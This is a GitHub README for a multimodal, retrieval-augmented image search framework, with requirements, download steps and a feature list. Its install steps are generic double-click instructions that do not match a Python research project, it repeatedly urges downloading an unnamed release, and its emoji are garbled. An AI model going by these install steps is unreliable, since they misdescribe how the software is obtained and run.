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🌟 Enhance image understanding through a RAG-based approach, combining multimodal retrieval and context-aware generation for smarter AI insights.

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medazizsaaadallah/Knowledge-Infused-Multimodal-Retrieval-A-RAG-Based-Approach-for-Context-Aware-Image-Understanding

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πŸ–ΌοΈ Knowledge-Infused-Multimodal-Retrieval-A-RAG-Based-Approach-for-Context-Aware-Image-Understanding - Retrieve Images with Context Awareness

πŸš€ Getting Started

This project is a modular framework that helps you retrieve images using both visual and textual queries. It combines advanced technology to enhance your experience. Follow the steps below to download and run the software.

πŸ“₯ Download the Application

Download

πŸ“‚ Download & Install

To get started with Knowledge-Infused-Multimodal-Retrieval, please visit the following link to download the software:

Download the latest release here

  1. Click the link above.
  2. Choose the version appropriate for your operating system.
  3. Download the file to your computer.

πŸ› οΈ System Requirements

Before installing, ensure your system meets these requirements:

  • Operating System: Windows 10 or later, macOS Mojave or later, or any recent Linux distribution.
  • Processor: 2 GHz dual-core or higher.
  • Memory: At least 8 GB of RAM.
  • Storage: Minimum 500 MB of free space.
  • Software: Ensure you have Python 3.6 or higher installed on your machine.

πŸ”Œ Running the Application

After you download the software:

  1. Locate the downloaded file on your computer.
  2. Double-click the file to start the installation.
  3. Follow the on-screen instructions to complete the setup.
  4. Once the installation finishes, you can find the application in your applications folder or on your desktop.

πŸ” Using the Application

Now that the application is installed, you can start using it to search for images. Here’s a guide to help you navigate:

  1. Launch the Application: Click on the application icon to open it.
  2. Choose Your Query Type: You can use either image or text to search for relevant images.
  3. Enter Your Query: Type your question or upload an image.
  4. View Results: The application will show a selection of images based on your input.
  5. Select an Image: Click on an image to see more details or to download it.

πŸ“„ Features

  • Context-Aware Searches: Get results based on both visual and textual inputs.
  • Image Retrieval: Fast and efficient image searches using advanced algorithms.
  • User-Friendly Interface: Designed for easy navigation, even if you are not tech-savvy.
  • Comprehensive Coverage: Evaluated on the Flickr30k dataset for captioning and retrieval tasks.

πŸ“š Support and Documentation

For further assistance, you can access the documentation in the repository. This will provide you with help on advanced features, troubleshooting, and FAQs. Visit the documentation page for more details.

πŸ“ž Contact

For questions or feedback, please feel free to reach out via the GitHub issue tracker. Your input is valuable to us and helps improve the application.

πŸ”— Additional Resources

If you want to learn more about the technologies used in this project, here are some topics to explore:

  • Context-Aware Generation
  • Deep Learning
  • FAISS for vector search
  • Generative AI
  • Image Captioning
  • Multimodal Understanding

πŸ“ License

This project is licensed under the MIT License. Please read the LICENSE file for details.

🌐 Explore More

Check out the full range of features and updates by visiting our GitHub repository.

Remember, for the latest version of the software, please download here. Happy image searching!

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🌟 Enhance image understanding through a RAG-based approach, combining multimodal retrieval and context-aware generation for smarter AI insights.

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